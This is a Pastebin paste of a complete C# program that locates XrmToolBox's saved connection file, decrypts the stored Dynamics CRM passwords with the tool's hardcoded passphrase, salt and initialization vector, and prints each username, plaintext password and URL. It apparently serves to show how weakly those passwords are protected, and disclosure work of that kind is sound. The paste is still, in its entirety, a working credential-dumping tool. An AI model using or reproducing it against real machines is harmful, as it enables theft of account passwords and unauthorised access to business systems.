Guest User

Untitled

a guest
Oct 24th, 2018
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.71 KB | None | 0 0
  1. using System;
  2. using System.IO;
  3. using System.Linq;
  4. using System.Security.Cryptography;
  5. using System.Text;
  6. using System.Xml.Linq;
  7.  
  8. namespace XrmToolBoxDecryptor
  9. {
  10. class CryptManager
  11. {
  12. public static string Decrypt(string cipherText,
  13. string passPhrase,
  14. string saltValue,
  15. string hashAlgorithm,
  16. int passwordIterations,
  17. string initVector,
  18. int keySize)
  19. {
  20. byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
  21. byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
  22. byte[] cipherTextBytes = Convert.FromBase64String(cipherText);
  23.  
  24. PasswordDeriveBytes password = new PasswordDeriveBytes(
  25. passPhrase,
  26. saltValueBytes,
  27. hashAlgorithm,
  28. passwordIterations);
  29.  
  30. byte[] keyBytes = password.GetBytes(keySize / 8);
  31. RijndaelManaged symmetricKey = new RijndaelManaged();
  32. symmetricKey.Mode = CipherMode.CBC;
  33.  
  34. ICryptoTransform decryptor = symmetricKey.CreateDecryptor(
  35. keyBytes,
  36. initVectorBytes);
  37.  
  38. MemoryStream memoryStream = new MemoryStream(cipherTextBytes);
  39.  
  40.  
  41. CryptoStream cryptoStream = new CryptoStream(memoryStream,
  42. decryptor,
  43. CryptoStreamMode.Read);
  44.  
  45. byte[] plainTextBytes = new byte[cipherTextBytes.Length];
  46. int decryptedByteCount = cryptoStream.Read(plainTextBytes,
  47. 0,
  48. plainTextBytes.Length);
  49.  
  50. memoryStream.Close();
  51. cryptoStream.Close();
  52.  
  53. string plainText = Encoding.UTF8.GetString(plainTextBytes,
  54. 0,
  55. decryptedByteCount);
  56. return plainText;
  57. }
  58. }
  59.  
  60. public class Program
  61. {
  62. internal const string CryptoHashAlgorythm = "SHA1";
  63. internal const string CryptoInitVector = "ahC3@bCa2Didfc3d";
  64. internal const int CryptoKeySize = 256;
  65. internal const string CryptoPassPhrase = "MsCrmTools";
  66. internal const int CryptoPasswordIterations = 2;
  67. internal const string CryptoSaltValue = "Tanguy 92*";
  68. private const string DefaultConfigFileName = "mscrmtools2011.config";
  69.  
  70. static void Main(string[] args)
  71. {
  72. var filePath = $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}/MscrmTools/XrmToolBox/Connections/ConnectionsList.Default.xml";
  73.  
  74. if (!File.Exists(filePath))
  75. {
  76. Console.WriteLine("Failed to find connection file");
  77. return;
  78. }
  79.  
  80. var file = File.ReadAllText(filePath);
  81.  
  82. var connections = XDocument.Parse(file);
  83.  
  84. var passwordConnections = connections
  85. .Descendants("ConnectionDetail")
  86. .Where(d => bool.Parse(d.Descendants("SavePassword").FirstOrDefault().Value))
  87. .ToList();
  88.  
  89. if (passwordConnections.Count < 1)
  90. {
  91. Console.WriteLine("No passwords saved");
  92. return;
  93. }
  94.  
  95. Console.WriteLine($"Found the following {passwordConnections.Count} passwords:");
  96.  
  97. foreach (var connection in passwordConnections)
  98. {
  99. var password = connection.Element("UserPassword").Value;
  100.  
  101. var decrypted = CryptManager.Decrypt(password,
  102. CryptoPassPhrase,
  103. CryptoSaltValue,
  104. CryptoHashAlgorythm,
  105. CryptoPasswordIterations,
  106. CryptoInitVector,
  107. CryptoKeySize);
  108.  
  109. Console.WriteLine($"Username: {connection.Element("UserName").Value}");
  110. Console.WriteLine($"Password: {decrypted}");
  111. Console.WriteLine($"URL: {connection.Element("OriginalUrl").Value}");
  112.  
  113. Console.WriteLine();
  114. }
  115.  
  116.  
  117. Console.WriteLine("That's it, don't lose your notebook without Bitlocker. Press any key to exit.");
  118. Console.ReadKey();
  119. }
  120. }
  121. }
Add Comment
Please, Sign In to add comment